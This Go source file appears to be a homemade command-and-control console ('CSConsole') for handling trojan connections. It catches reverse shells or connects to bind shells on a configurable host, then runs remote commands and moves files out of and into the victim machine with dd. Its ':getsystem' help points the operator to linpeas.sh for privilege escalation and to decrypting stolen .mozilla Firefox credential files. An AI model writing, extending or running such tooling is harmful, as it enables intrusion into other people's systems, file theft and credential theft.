package main

import (
	"bufio"
	"errors"
	"fmt"
	"log"
	"net"
	"os"
	"os/exec"
	"regexp"
	"strconv"
	"strings"
)

func main() {
	//print banner
	fmt.Println("  ____ ____   ____                      _      ")
	fmt.Println(" / ___/ ___| / ___|___  _ __  ___  ___ | | ___ ")
	fmt.Println("| |   \\___ \\| |   / _ \\|  _ \\/ __|/ _ \\| |/ _ \\")
	fmt.Println("| |___ ___) | |__| (_) | | | \\__ \\ (_) | |  __/")
	fmt.Println(" \\____|____/ \\____\\___/|_| |_|___/\\___/|_|\\___|")

	console()
	//listener("tcp", 4444)
	//dial("tcp", "127.0.0.1", 4444)
}

type env struct {
	lport    int
	rhost    string
	rport    int
	username string
}

var env1 env

// listener function
func listener(port int) {
	// Create a listener
	var addr net.TCPAddr
	addr.IP = net.IPv4(127, 0, 0, 1)
	addr.Port = port
	listener, err := net.ListenTCP("tcp", &addr)
	if err != nil {
		fmt.Println("err = ", err)
		return
	}
	fmt.Printf("Listening on local port %d\n", port)
	defer listener.Close()

	//var connpool[16] net.TCPConn
	//Wait for connection

	conn, err := listener.AcceptTCP()
	if err != nil {
		fmt.Println("err = ", err)
		return
	}
	fmt.Println("木马已经上线")

	//defer conn.Close() //Close TCP connetcion

	exit := make(chan string, 1)
	receive := make(chan int)
	sstop := make(chan string)
	rstop := make(chan string)

	//Get username
	conn.Write([]byte("id\n"))
	receiver(*conn)
	fmt.Print(env1.username + " > ")

	go func() {
		for {
			select {
			case <-rstop:
				return
			default:
				<-receive
				receiver(*conn)
				fmt.Print(env1.username + " > ")
			}
		}
	}()

	go func() {
		for {
			select {
			case <-sstop:
				return
			default:
				sender(conn, exit, receive, sstop, rstop)

			}
		}
	}()
	exitsignal := <-exit // 2. 尝试从通道中读取内容，若通道为空，则阻塞在此
	sstop <- "stop sender"
	rstop <- "stop receiver"
	fmt.Printf("command: %v\n", exitsignal)
	return
}

// 控制台函数
func console() {

	//set some defult env varieties
	env1.lport = 4444
	env1.rhost = "127.0.0.1"
	env1.rport = 4444

	reader := bufio.NewReader(os.Stdin)
	for {
		fmt.Print("CSConsole > ")
		// Read the keyboad input.
		input, err := reader.ReadString('\n')
		if err != nil {
			fmt.Fprintln(os.Stderr, err)
		}

		// Handle the execution of the input.
		if err = execInput(input); err != nil {
			fmt.Fprintln(os.Stderr, err)
		}
	}
}

//define some errors
var ErrNoSet = errors.New("variaty name required")
var ErrNoVar = errors.New("variaty name wrong")

func execInput(input string) error {
	// Remove the newline character.
	input = strings.TrimSuffix(input, "\n")

	// Split the input separate the command and the arguments.
	args := strings.Split(input, " ")

	// Check for built-in commands.
	switch args[0] {

	case "help":
		fmt.Println("use show to show options")
		fmt.Println("use set to set varieties")
		fmt.Println("use listen to connect a reverse shell")
		fmt.Println("use dial to connect a bind shell")
		return nil

	case "cd":
		// use "cd" to cd home
		if len(args) < 2 {
			home := os.Getenv("HOME")
			return os.Chdir(home)
		}
		// Change the directory and return the error.
		return os.Chdir(args[1])

	case "set":
		if len(args) < 3 {
			return ErrNoSet
		}
		switch args[1] {
		case "lport":
			env1.lport, _ = strconv.Atoi(args[2])
			return nil
		case "rhost":
			env1.rhost = args[2]
			return nil
		case "rport":
			env1.rport, _ = strconv.Atoi(args[2])
			return nil
		default:
			return ErrNoVar
		}

	case "show":
		fmt.Printf("Local listening port (lport): %d\n", env1.lport)
		fmt.Printf("Remote listening host (rhost)(only support ipv4 addr): %s\n", env1.rhost)
		fmt.Printf("Remote listening port (rport): %d\n", env1.rport)
		return nil

	case "listen":
		listener(env1.lport)
		return nil

	case "dial":
		dial(env1.rhost, env1.rport)
		return nil
	case "exit":
		os.Exit(0)
	}

	// Prepare the command to execute.
	cmd := exec.Command(args[0], args[1:]...)

	// Set the correct output device.
	cmd.Stderr = os.Stderr
	cmd.Stdout = os.Stdout

	// Execute the command and return the error.
	return cmd.Run()
}

func dial(host string, port int) {
	//处理连接参数
	var dialaddr net.TCPAddr
	var ipargs [4]int
	args := strings.Split(host, ".")
	for i := 0; i < 4; i++ {
		ipargs[i], _ = strconv.Atoi(args[i])
	}
	dialaddr.IP = net.IPv4(byte(ipargs[0]), byte(ipargs[1]), byte(ipargs[2]), byte(ipargs[3]))
	dialaddr.Port = port

	conn, err := net.DialTCP("tcp", nil, &dialaddr)
	if err != nil {
		fmt.Fprintln(os.Stderr, err)
		return
	}
	defer conn.Close()
	defer fmt.Println("木马已断开")
	fmt.Println("成功连接木马")

	exit := make(chan string, 1)
	receive := make(chan int)
	sstop := make(chan string)
	rstop := make(chan string)

	conn.Write([]byte("id\n"))
	receiver(*conn)
	fmt.Print(env1.username + " > ")

	go func() {
		for {
			select {
			case <-rstop:
				return
			default:
				<-receive
				receiver(*conn)
				fmt.Print(env1.username + " > ")
			}
		}
	}()

	go func() {
		for {
			select {
			case <-sstop:
				return
			default:
				sender(conn, exit, receive, sstop, rstop)

			}
		}
	}()

	exitsignal := <-exit //尝试从通道中读取内容，若通道为空，则阻塞在此
	sstop <- "stop sender"
	rstop <- "stop receiver"
	fmt.Printf("command: %v\n", exitsignal)
	return
}

func sender(conn *net.TCPConn, exit chan string, receive chan int, sstop chan string, rstop chan string) {
	reader := bufio.NewReader(os.Stdin)
	inp, err := reader.ReadString('\n')
	if len(inp) == 1 {
		fmt.Print(env1.username + " > ")
		return
	}
	if nil != err {
		fmt.Println("reader.ReadLine() error:", err)
	}
	//some built-in command
	if strings.HasPrefix(inp, ":help") {
		fmt.Println("use :download FILENAME to download")
		fmt.Println("use :upload LOCAL REMOTE to upload")
		fmt.Println("use :exit to close session")
		fmt.Println("use :getsystem to get Local Privilege Escalation")
		fmt.Println("use :flush to flush receive buffer(Use only when input and output are inconsistent)")
		fmt.Print(env1.username + " > ")
		return
	}

	if strings.HasPrefix(inp, ":download") {
		inp = strings.TrimSuffix(inp, "\n")
		args := strings.Split(inp, " ")
		if len(args) != 2 {
			fmt.Println("args error")
			return
		}
		conn.Write([]byte("dd if=" + args[1] + " status=none bs=4096" + "\n"))
		dlbuf := make([]byte, 4096)
		dlfile, _ := os.Create("./downloaded/" + args[1])
		defer dlfile.Close()
		for {
			n, _ := conn.Read(dlbuf)
			_, err := dlfile.Write(dlbuf[:n])
			if n != 4096 {
				fmt.Println("downloaded at downloaded/" + args[1])
				fmt.Print(env1.username + " > ")
				return
			}
			if err != nil {
				panic(err)
			}
		}

	}

	if strings.HasPrefix(inp, ":upload") {
		inp = strings.TrimSuffix(inp, "\n")
		args := strings.Split(inp, " ")
		if len(args) != 3 {
			fmt.Println("args error")
			return
		}
		f, err := os.OpenFile(args[1], os.O_RDONLY, 0744)
		if err != nil {
			log.Fatal(err)
		}
		if err := f.Close(); err != nil {
			log.Fatal(err)
		}

		uploadbuf, _ := os.ReadFile(args[1])
		file, _ := os.Stat(args[1])
		size := file.Size()
		count := size / 1024
		morecount := size % 1024
		if morecount != 0 {
			count++
		}
		strcount := strconv.Itoa(int(count))
		conn.Write([]byte("dd of=" + args[2] + " status=none bs=1024 count=" + strcount + "\n"))
		conn.Write(uploadbuf)
		fmt.Println("Upload success")
		fmt.Print(env1.username + " > ")
		return
	}

	if strings.HasPrefix(inp, ":exit") {
		exit <- "server quit" // 3. 向通道内写入内容
		conn.Write([]byte("exit\n"))
		receive <- 1
		return
	}

	if strings.HasPrefix(inp, ":getsystem") {
		fmt.Println("linpeas.sh is a priviliage escape script, please upload it and run")
		fmt.Println("you can download files in .mozilla and then decrypt them by firefox_decrypt.py")
		return
	}

	if strings.HasPrefix(inp, ":flush") {
		receive <- 1
		return
	}

	if strings.HasPrefix(inp, "cd ..") {
		fmt.Println("don't use .. change dir")
		return
	}

	if strings.HasPrefix(inp, "cd .") {
		fmt.Println("don't use . change dir")
		return
	}
	conn.Write([]byte(inp))
	receive <- 1
	return
}

func receiver(conn net.TCPConn) {
	buflen := 65536
	buf := make([]byte, buflen)
	for {
		n, _ := conn.Read(buf)

		if strings.HasPrefix(string(buf[:n]), "uid=") {
			compileRegex := regexp.MustCompile("（(.*?)）")
			matchArr := compileRegex.FindStringSubmatch(string(buf[:n]))

			if len(matchArr) == 0 {
				compileRegex := regexp.MustCompile("\\((.*?)\\)")
				matchArr = compileRegex.FindStringSubmatch(string(buf[:n]))
			}

			if len(matchArr) > 0 {
				env1.username = matchArr[len(matchArr)-1]
				return
			}
		}
		fmt.Printf("%v", string(buf[:n]))
		if n != buflen {
			return
		}
	}

}